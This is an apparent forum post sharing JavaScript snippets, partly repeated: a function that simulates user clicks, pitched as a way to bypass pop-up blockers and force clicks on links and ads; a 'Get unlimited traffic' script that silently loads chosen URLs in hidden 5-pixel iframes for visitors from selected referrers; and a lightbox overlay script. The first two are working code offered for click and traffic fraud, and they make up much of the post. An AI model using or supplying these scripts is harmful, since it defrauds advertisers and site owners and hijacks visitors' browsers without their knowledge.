How I simulate/force a click on the client
This is how I simulate/force a user clicking in the browser.
It can be used to bypass pop-up killers, force a click on a link - even ads.
Limitations: Adsense will not work
Short example:
Get unlimited traffic
This is the collection of urls you want to load silently. Add as many as you want.
Code:
This is the referrer check. IF you only want the script to work when people are coming from google. Write
"google.com" in there. You can comma delimit the list if you want.
example:
So here is the main script you simple insert on your HTML-page and the magic happens.
It's still a good idea to take care of the referrer on your pages.
Lock content
I wanted to keep it as simple as possible.
You can put what ever HTML you like inside the lightbox.
Content of the light box must be in the var lightDivHTML
Want to change the size of the lightbox locate this line:
divLight.style.cssText and alter the CSS.
Save this file as lock.js and put it in your root of your website.
Your website you want to lock down - just include a reference to lock.js just above </body> like this short example:
HTML Code:
More Coming Soon
This is how I simulate/force a user clicking in the browser.
It can be used to bypass pop-up killers, force a click on a link - even ads.
Limitations: Adsense will not work
Short example:
Code:
<html>
<body>
<script type="text/javascript">
function simulateClick(control)
{
if (document.all)
{
control.click();
}
else
{
var evObj = document.createEvent('MouseEvents');
evObj.initMouseEvent('click', true, true, window, 1, 12, 345, 7, 220, false, false, true, false, 0, null );
control.dispatchEvent(evObj);
}
}
</script>
<a href="http://www.kerala-united.info" id="mytest1">test 1</a><br>
<div id="mytest2" onclick="alert('Here we go');">And in a Div</div>
<script type="text/javascript">
simulateClick(document.getElementById('mytest1'));
simulateClick(document.getElementById('mytest2'));
</script>
</body>
</html>
This is the collection of urls you want to load silently. Add as many as you want.
Code:
Code:
var aDomains = [".com"];
"google.com" in there. You can comma delimit the list if you want.
example:
Code:
var aDomains = ["google.com","yahoo.com"];
It's still a good idea to take care of the referrer on your pages.
Code:
<script type="text/javascript">
var sLocation = document.referrer.toLocaleLowerCase();
//Links to boost
var rDomains = ["http://www.google.com","http://www.apple.com"];
//Allowed domain referrer
var aDomains = [".com"];
var valid = 0;
//Valid referrer
for (i=0;i<aDomains.length;i++) {
//Check referrer
if (sLocation.indexOf(aDomains[i], 0) > -1)
{
valid = 1;
break;
}
}
//Valid referrer
if (valid == 1)
{
//Loop
for (i=0;i<rDomains.length;i++) {
//alert(rDomains[i]);
invisibleWindow("mydiv" + i,rDomains[i]);
}
}
function invisibleWindow(iframeID, url) {
divel = document.createElement("div");
divel.id = "div" + iframeID;
divel.style.width = "5px";
divel.style.height = "5px";
divel.style.visibility = "hidden";
//Add div
document.body.appendChild(divel);
domiframe = document.createElement("iframe");
domiframe.id = iframeID;
domiframe.src = url;
domiframe.style.width = "5px";
domiframe.style.height = "5px";
domiframe.style.visibility = "hidden";
var divid = document.getElementById("div" + iframeID);
divid.appendChild(domiframe);
}
</script>
I wanted to keep it as simple as possible.
You can put what ever HTML you like inside the lightbox.
Content of the light box must be in the var lightDivHTML
Want to change the size of the lightbox locate this line:
divLight.style.cssText and alter the CSS.
Save this file as lock.js and put it in your root of your website.
Code:
Html Code:
var lightDivHTML = '<a href="javascript:void(0)" onclick="closeDiv();">Close</a><br /><br />This is your first visit. Hope you will enjoy it.<br />';
initDivs();
popUP();
function popUP()
{
var light = document.getElementById('light');
var fader = document.getElementById('fade');
var arrayPageSize = getPageSize();
light.style.display='block';
fader.style.height = (arrayPageSize[1] + 'px');
fader.style.display = 'block';
}
//Init divs
function initDivs() {
//Lightbox
var divLight = document.createElement("div");
divLight.id = "light";
divLight.style.cssText = "display: none;position: absolute;top: 150px;left: 350px;width: 400px;height: 250px;padding: 16px;border: none;background-color: white;overflow: auto;z-index:2;";
divLight.innerHTML = lightDivHTML;
document.body.appendChild(divLight);
//Shadow
var divFade = document.createElement("div");
divFade.id = "fade";
divFade.style.cssText = "display: none;position: absolute;top: 0px;left: 0px;width: 100%;background-color: black;-moz-opacity: 0.8;opacity:.80;filter: alpha(opacity=80);";
document.body.appendChild(divFade);
}
function getPageSize(){
var xScroll, yScroll;
if (window.innerHeight && window.scrollMaxY) {
xScroll = document.body.scrollWidth;
yScroll = window.innerHeight + window.scrollMaxY;
} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
xScroll = document.body.scrollWidth;
yScroll = document.body.scrollHeight;
} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
xScroll = document.body.offsetWidth;
yScroll = document.body.offsetHeight;
}
var windowWidth, windowHeight;
if (self.innerHeight) { // all except Explorer
windowWidth = self.innerWidth;
windowHeight = self.innerHeight;
} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
windowWidth = document.documentElement.clientWidth;
windowHeight = document.documentElement.clientHeight;
} else if (document.body) { // other Explorers
windowWidth = document.body.clientWidth;
windowHeight = document.body.clientHeight;
}
// for small pages with total height less then height of the viewport
if(yScroll < windowHeight){
pageHeight = windowHeight;
} else {
pageHeight = yScroll;
}
// for small pages with total width less then width of the viewport
if(xScroll < windowWidth){
pageWidth = windowWidth;
} else {
pageWidth = xScroll;
}
arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight)
return arrayPageSize;
}
//Close function
function closeDiv() {
light.style.display= 'none';
fade.style.display = 'none';
}
HTML Code:
Code:
<html>
<body>
Here is your website or blog
<script src="lock.js" type="text/javascript"></script>
</body>
</html>